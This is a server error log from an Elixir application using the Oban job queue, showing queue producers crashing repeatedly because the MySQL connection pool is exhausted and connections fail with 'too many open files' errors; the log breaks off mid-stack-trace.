State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:15:21.243595Z], limit: 5, uuid: "10af5ca2-84c0-4098-a956-501a393def43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:21.243601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111976>, refresh_timer: #Reference<0.2525715032.1077411843.244336>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:15:21.243786Z], limit: 3, uuid: "e8210585-ce63-47c9-b3df-e547cd40b0a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:21.243792Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111978>, refresh_timer: #Reference<0.2525715032.1077411843.244346>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:15:21.251604Z], limit: 5, uuid: "e214d7b8-a4f1-4280-bde7-a1a2d5577b7c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:21.251610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.918>, refresh_timer: #Reference<0.2525715032.1068498948.917>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:15:21.243357Z], limit: 50, uuid: "1b377eb8-cd18-497f-81ea-e9cd0bd89d2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:21.243366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111977>, refresh_timer: #Reference<0.2525715032.1077411843.244325>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:34.074000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:34.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:34.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:34.696000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:38.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:15:27.240665Z], limit: 10, uuid: "2c5ce98a-aa31-487f-896a-59339bf086f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:27.240671Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112112>, refresh_timer: #Reference<0.2525715032.1121189889.112101>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:41.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:43.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:43.948000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:15:33.239664Z], limit: 3, uuid: "46163e15-0239-432b-9112-48836df09fd9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:33.239668Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112290>, refresh_timer: #Reference<0.2525715032.1077411843.244501>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:45.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:15:33.238544Z], limit: 20, uuid: "da325f5d-4729-4c69-b9d5-ecf280e6fcd6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:33.238551Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12740>, refresh_timer: #Reference<0.2525715032.1099431938.12737>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:15:33.239617Z], limit: 5, uuid: "c9074f8b-8f69-4737-9f6f-87ca8dac4117", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:33.239622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112288>, refresh_timer: #Reference<0.2525715032.1099431938.12739>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:15:33.239643Z], limit: 5, uuid: "f4890157-1275-4b9f-aac7-24cfde481882", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:33.239649Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112289>, refresh_timer: #Reference<0.2525715032.1077411843.244495>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
